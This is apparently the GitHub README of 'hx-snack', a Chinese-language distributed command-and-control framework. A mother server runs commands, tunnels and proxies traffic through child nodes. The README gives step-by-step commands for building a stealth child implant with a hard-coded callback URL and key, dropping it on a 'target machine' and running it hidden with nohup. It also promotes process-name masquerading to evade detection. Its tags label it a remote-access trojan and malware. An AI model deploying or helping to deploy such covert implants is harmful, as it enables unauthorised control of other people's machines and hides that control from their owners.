huanxherta/hx-snack

GitHub: huanxherta/hx-snack

一个基于母子WebSocket架构的轻量级分布式C2框架,专注于跨节点的实时监控、隧道转发和代理管理。

Stars: 0 | Forks: 0

# hx的偷吃 分布式 C2 框架 —— **母子 WebSocket 架构**,用于跨全球部署节点的监控、隧道和 HTTP 代理。 ## 架构 ``` ┌─────────────────────────┐ │ Mother Node │ │ (WebUI + API + WS Hub) │ └──────────┬──────────────┘ │ WebSocket (msgpack) ┌────────────┼────────────┐ ┌────┴────┐ ┌────┴────┐ ┌────┴────┐ │ Child A │ │ Child B │ │ Child C │ ... │ Tokyo │ │ LA │ │ HK │ └─────────┘ └─────────┘ └─────────┘ ``` ## 功能特性 - **实时监控** — 所有子节点的 CPU、内存、磁盘、网络信息 - **远程任务执行** — 在任何子节点上运行命令 - **TCP 隧道** — 通过 WebSocket 进行端口转发(母节点端口 → 子节点内部服务) - **HTTP 反向代理** — `/p/http[s]://target/path` 通过子节点透明地路由请求 - **隐蔽模式** — 子节点在零 CLI 参数、零环境变量下运行,并伪装进程名 - **负载均衡** — 每个隧道端口对应多个子节点,自动轮询 - **自动重连** — 连接断开时采用指数退避策略 - **WebUI** — 具有实时状态的深色电影风格仪表盘 ## 快速开始 ### Mother (您的主服务器) ``` ./mother -port 8080 -key my-secret-key ``` 打开 `http://localhost:8080` 以访问 WebUI。 默认管理员凭据:`huanx` / `change-me` ### Child (隐蔽部署) 编辑 `cmd/child/main.go` 并设置您的 Mother URL 和密钥: ``` const ( motherURL = "ws://:10300/api/stream" motherKey = "" ) ``` 构建: ``` GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o child ./cmd/child/ ``` 将二进制文件投放至目标机器并运行: ``` nohup ./child > /dev/null 2>&1 & ``` 完成。零参数、零环境变量、零配置文件 —— `ps aux` 只会显示一个看起来正常的进程。 ## 通过子节点进行 HTTP 代理 使用 `/p/` 前缀通过子节点路由 HTTP/HTTPS 请求: ``` # HTTPS (自动处理 TLS) curl http://mother:8080/p/https://api.openai.com/v1/models \ -H "Authorization: Bearer sk-xxx" # HTTP curl http://mother:8080/p/http://httpbin.org/get # POST 请求 curl -X POST http://mother:8080/p/https://api.example.com/v1/chat/completions \ -H "Content-Type: application/json" \ -d '{"model":"gpt-4","messages":[{"role":"user","content":"hi"}]}' # 简写 (默认为 HTTP) curl http://mother:8080/p/httpbin.org/get ``` 多个子节点自动进行轮询负载均衡。 ## API | 端点 | 方法 | 描述 | |----------|--------|-------------| | `/api/children` | GET | 列出所有已连接的子节点 | | `/api/tasks` | POST/GET | 提交任务 / 列出结果 | | `/api/tunnels` | POST/GET | 创建/管理 TCP 隧道 | | `/api/stats` | GET | 系统统计信息 | | `/api/events` | GET | SSE 事件流 | | `/ws` | WS | 子节点连接(旧版) | | `/api/stream` | WS | 子节点连接(隐蔽模式) | | `/p/...` | ANY | 通过子节点的 HTTP 代理 | ### 隧道 API ``` # Create tunnel (自动添加所有在线 children) curl -X POST http://mother:8080/api/tunnels \ -H "Content-Type: application/json" \ -d '{"target":"example.com:80","listen_port":8081}' # 或者指定单个 child curl -X POST http://mother:8080/api/tunnels \ -d '{"child_id":"","target":"example.com:80","listen_port":8081}' ``` ## 从源码构建 ``` git clone https://github.com/huanxherta/hx-snack cd hx-snack go build -o mother ./cmd/mother/ # 请先编辑 cmd/child/main.go 中的 constants! go build -o child ./cmd/child/ ``` ## 许可证 GPL-3.0 ## 作者 huanxherta
标签:C2框架, DNS 解析, Golang, Go语言, HTTP反向代理, IP 地址批量处理, TCP隧道, WebSocket, WebUI, 依赖分析, 分布式架构, 后端开发, 命令与控制, 安全学习资源, 安全编程, 恶意软件, 日志审计, 横向移动, 流量代理, 程序破解, 端口转发, 编程规范, 网络信息收集, 网络安全, 负载均衡, 进程伪装, 远控木马, 远程命令执行, 隐私保护, 隐蔽通信, 零特征启动, 黑灰产